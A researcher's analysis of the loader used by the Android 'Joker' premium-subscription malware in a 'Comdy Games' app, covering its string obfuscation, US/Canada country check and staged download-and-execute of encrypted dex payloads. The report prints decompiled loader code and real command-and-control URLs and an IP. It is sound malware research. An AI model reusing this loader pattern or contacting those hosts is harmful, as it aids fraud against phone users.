Professional Documents
Culture Documents
Contents
1. Overview ..................................................................................................................................................... 2
2. Basic analysis ............................................................................................................................................... 4
3. Detailed loader analysis (1st layer) .............................................................................................................. 5
4. Detailed loader analysis (2nd layer) ........................................................................................................... 11
5. Conclusion ................................................................................................................................................. 16
6. Appendix A (strings decryption log): ......................................................................................................... 18
7. Appendix B (links) ...................................................................................................................................... 19
Dmytro Benedyk
15 Jan 2020
1. Overview
Today I want to tell you about the loader of known malware for Android named “Joker”, which methods were
used for hiding and hindering the analysis.
Joker malware steals Android users’ money by signing them up for premium subscriptions.
Based on the statistics from the link below we can assume that malware was installed at least 16737658 (16+
millions) times.
https://docs.google.com/spreadsheets/d/15Vf8mRfCjPy0m_7CbM--
luBFu4iUNHS9CPkNbEGPXhs/edit#gid=713782233
I chose application from the link above named “Comdy Games” for analysis.
https://play.google.com/store/apps/details?id=com.pieces.pile.comdy
https://apk.support/download-app/com.pieces.pile.comdy
The file is already present on the VirusTotal. We can compare the VT scan results on different dates.
As you can see, only 16 anti-viruses detect a malicious file to date.
Usually I use APKInfo utility to get some general information about APK file.
Item Value
Application Comdy Games
Version 1.2
Build 2
Package com.pieces.pile.comdy
Min. SDK 16: Android 4.1 (Jelly Bean)
Target SDK 28: Android 9.0 (Pie)
Compile SDK 23: Android 6.0 (Marshmallow)
Permissions android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.INTERNET
android.permission.READ_PHONE_STATE
android.permission.WAKE_LOCK
com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE
Name Comdy Games 1.2.2.apk
Actually this tool doesn’t show the full list of used permissions. For this purpose, we will use JADX decompiler
and found more permissions that are used by some services and receivers.
Permission Description
android.permission.INSTALL_PACKAGES Allows an application to install packages.
Not for use by third-party applications.
android.permission.BIND_JOB_SERVICE Grants permission of your sub-class of JobService for job
execution
android.permission. Must be required by an NotificationListenerService, to ensure
BIND_NOTIFICATION_LISTENER_SERVICE that only the system can bind to it.
Let’s pay attention to the application activity. This part is very important because we need to define the
vectors to analyze.
The manifest lists some activities. Quick inspection of the code gives an understanding of what they actually
do:
As we can see in the properties, the author doesn’t want us to see this activity:
Property Description
NoTitleBar Hides the titlebar of your application.
Translucent Adding this code to your activity tag in manifest file will make Android activity
transparent.
We can find another activity with transparent theme but it is a valid advertisement activity (not a malicious),
therefore this part is not valuable for this article.
<activity android:theme="@style/Theme.Translucent" android:name="com.google.android.gms.ads.AdActivity"
android:exported="false"
android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize"/
>
import android.app.Activity;
import android.os.Bundle;
import com.facebook.messenger.a;
activity.startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
Activity Description
ACTION_NOTIFICATION_ Activity Action: Show Notification listener settings.
LISTENER_SETTINGS
In some cases, a matching Activity may not exist, so ensure you safeguard
against this.
Notification access is disabled by default — apps can use a new Intent to take the user directly to the Settings
to enable the listener service after installation.
The preparatory part is described above, the most interesting part begins in the “MainActivity”:
import android.content.Context;
import java.io.File;
public class a {
public static File a(Context context, String str) {
return new File(context.getFilesDir(), a(str));
}
public static String a(String str) {
return str.split("/")[str.split("/").length - 1];
}
}
If the file with name “comd” doesn’t exist in the application’s folder then malware downloads it from
https://losf.oss-eu-west-1.aliyuncs.com/cds/blur/comd
The above link was decrypted with my utility (see it on my GitHub).
public class a {
public static String a(String arg2) {
byte[] v2 = arg2.getBytes();
int v0;
for(v0 = 0; v0 < v2.length; ++v0) {
v2[v0] = (byte)(v2[v0] - 2);
}
return new String(v2);
}
}
I decided to write a simple tool that will find (with regex) and decrypt all encrypted strings in project files.
dalvik.system.DexClassLoader
java.lang.ClassLoader
dalvik.system.DexClassLoader
loadClass
com.memory.think.Youth
young
android.permission.READ_PHONE_STATE
android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
enabled_notification_listeners
sp_noti
noti_text
https://losf.oss-eu-west-1.aliyuncs.com/cds/blur/
At this moment we can guess as to how these strings were used but we'll keep moving baby steps.
The code that downloads this file from its malicious C&C uses the “OkHttpClient” library method:
public static void a(Context context, String str) {
new OkHttpClient().newCall(new Request.Builder().get().url(str).build()).enqueue(new b(context, str));
}
Illustration 7 – Downloading 1st layer payload
public class d {
public static void a(Context context, String str) {
try {
Object a = b.a(b.a("dalvik.system.DexClassLoader", (Class<?>[]) new Class[]{String.class,
String.class,
String.class, b.a("java.lang.ClassLoader")}),
a.a(context, str).getPath(),
context.getApplicationInfo().dataDir,
null,
context.getClassLoader());
Method a2 = b.a("dalvik.system.DexClassLoader", "loadClass", (Class<?>[]) new
Class[]{String.class});
Object[] objArr = {"com.memory.think.Youth"};
b.a(b.a((Class<?>) (Class) b.a(a2, a, objArr), "young", (Class<?>[]) new Class[]{Context.class}),
(Object) null, context);
} catch (Exception e) {
e.printStackTrace();
a.a(context, str).delete();
}
}
}
This code loads a dex file and executes the method “young” from “Youth” class which resides in
“com.memory.think” package.
Illustration 8 – Decompiled code of “com.memory.think” package
In turn, the “young” method executes “start” method that contains the most important part of the code.
The received dex file can be easily decompiled with JADX or JEB decompiler. The code is not obfuscated and
it is clear for understanding.
First of all, malware loader attempts to get mobile country code using “getSimOperator” function and
compares result with two values: 310 and 302.
public void start() {
TelephonyManager tm = (TelephonyManager) this.mContext.getSystemService("phone");
String iso = tm != null ? tm.getSimOperator() : null;
if (iso != null && iso.length() >= INDEX_DEX_STEP) {
this.mIso = iso.substring(0, INDEX_DEX_STEP);
if (!"310".equals(this.mIso) && !"302".equals(this.mIso)) {
// … code
}
}
}
“TelephonyManager” provides access to information about the telephony services on the device. Applications
can use the methods in this class to determine telephony services and states, as well as to access some types
of subscriber information. Applications can also register a listener to receive notification of telephony state
changes.
Function Description
Returns the MCC+MNC (mobile country code + mobile network code) of the provider
getSimOperator of the SIM. 5 or 6 decimal digits.
Availability: SIM state must be SIM_STATE_READY
Using the above-mentioned information, we can assume that this part of the code checks for the victim’s
country, known as MCC (Mobile Country Code) and the condition will be carried out if the MCC not equals to
310 and 302.
The list of countries and their MCC can be found on these web-resources:
https://www.mcc-mnc.com/
https://cellidfinder.com/mcc-mnc
MCC Country
302 Canada
310 United States
Canada and USA are whitelisted. Malware will not execute any malicious actions.
It generates some value with “genCode” function, concatenates it with the first part of the link and executes
HTTP GET request.
If it doesn’t get the response it suspends execution for 5 minutes, otherwise it saves the response to the
application’s configuration file (the decrypted name of that file is “mShareKey” value) and parses the response
with “handleConfig” function.
For better understanding and demonstration, I rewrote this part of code a little bit (you can find it on my
GitHub: https://github.com/r3v3rs3r/joker_loader).
The malicious website doesn’t respond to every request. Therefore, I had to brute-force all the of the possible
MCC values.
1. Response decryption (you can find encrypted and decrypted data in the log output above).
2. Initialization (parsing) of “mConfig” values using the “split” function.
3. Loading dex file via “loadDex” function.
Index of
mConfigs values
parameter
0
1 https://lamda.oss-eu-west-1.aliyuncs.com/s8-12-release
2 18
3 32
4 com.plane.internal.Entrance
5 initialize
6 http://18.139.46.15/
7 umrtXB
Now is the time to analyze “loadDex()” function.
private void loadDex() {
if (this.mTargetDex.exists()) {
launchSdk();
return;
}
if (this.mEncryptedDex.exists()) {
this.mEncryptedDex.delete();
}
Http.download(this.mConfigs[INDEX_DEX_URL], this.mEncryptedDex);
if (this.mEncryptedDex.exists() && this.mEncryptedDex.length() > 0) {
decryptDex();
if (this.mTargetDex.exists()) {
launchSdk();
}
}
}
https://lamda.oss-eu-west-1.aliyuncs.com/s8-12-release
If the decryption finished successfully then malware attempts to load dex file and transfer control of
execution to the “initialize” function from “com.plane.internal” from “Entrance” class (see parameters in
the table).
Function “initialize” accepts 3 parameters:
Context context
String host
String tagSms
In our case:
INDEX_DEX_STEP = 3;
INDEX_HOST = 6
INDEX_TAG = 7
At this point, the main Joker’s payload begins but that's a different story.
5. Conclusion
The authors inserted the Joker’s loader initialization functions into the legal frameworks, in our case
they used Facebook SDK
https://developers.facebook.com/docs/android/componentsdks/
and Picasso (a powerful image downloading and caching library for Android)
https://github.com/square/picasso
DEX decryption and loading (both DES encryption and custom encryption routines are used).
encrypted: fcnxkm0u{uvgo0FgzEncuuNqcfgt
decrypted: dalvik.system.DexClassLoader
encrypted: lcxc0ncpi0EncuuNqcfgt
decrypted: java.lang.ClassLoader
encrypted: fcnxkm0u{uvgo0FgzEncuuNqcfgt
decrypted: dalvik.system.DexClassLoader
encrypted: nqcfEncuu
decrypted: loadClass
encrypted: eqo0ogoqt{0vjkpm0[qwvj
decrypted: com.memory.think.Youth
encrypted: {qwpi
decrypted: young
==================================================================
path:encrfolder\com\facebook\messenger\a.java
encrypted: cpftqkf0rgtokuukqp0TGCFaRJQPGaUVCVG
decrypted: android.permission.READ_PHONE_STATE
encrypted: cpftqkf0ugvvkpiu0CEVKQPaPQVKHKECVKQPaNKUVGPGTaUGVVKPIU
decrypted: android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
encrypted: gpcdngfapqvkhkecvkqpankuvgpgtu
decrypted: enabled_notification_listeners
==================================================================
path:encrfolder\com\facebook\messenger\b.java
encrypted: urapqvk
decrypted: sp_noti
encrypted: pqvkavgzv
decrypted: noti_text
==================================================================
path:encrfolder\com\squareup\picasso\c.java
encrypted: jvvru<11nquh0quu/gw/yguv/30cnk{wpeu0eqo1efu1dnwt1
decrypted: https://losf.oss-eu-west-1.aliyuncs.com/cds/blur/
7. Appendix B (links)
My GitHub:
https://github.com/r3v3rs3r/StrDecrypt_comdy_games
https://github.com/r3v3rs3r/joker_loader
Other links:
https://github.com/Enyby/APK-Info
https://github.com/skylot/jadx
https://www.mrasta.com/android/create-android-transparent-activity/
https://www.jetbrains.com/idea/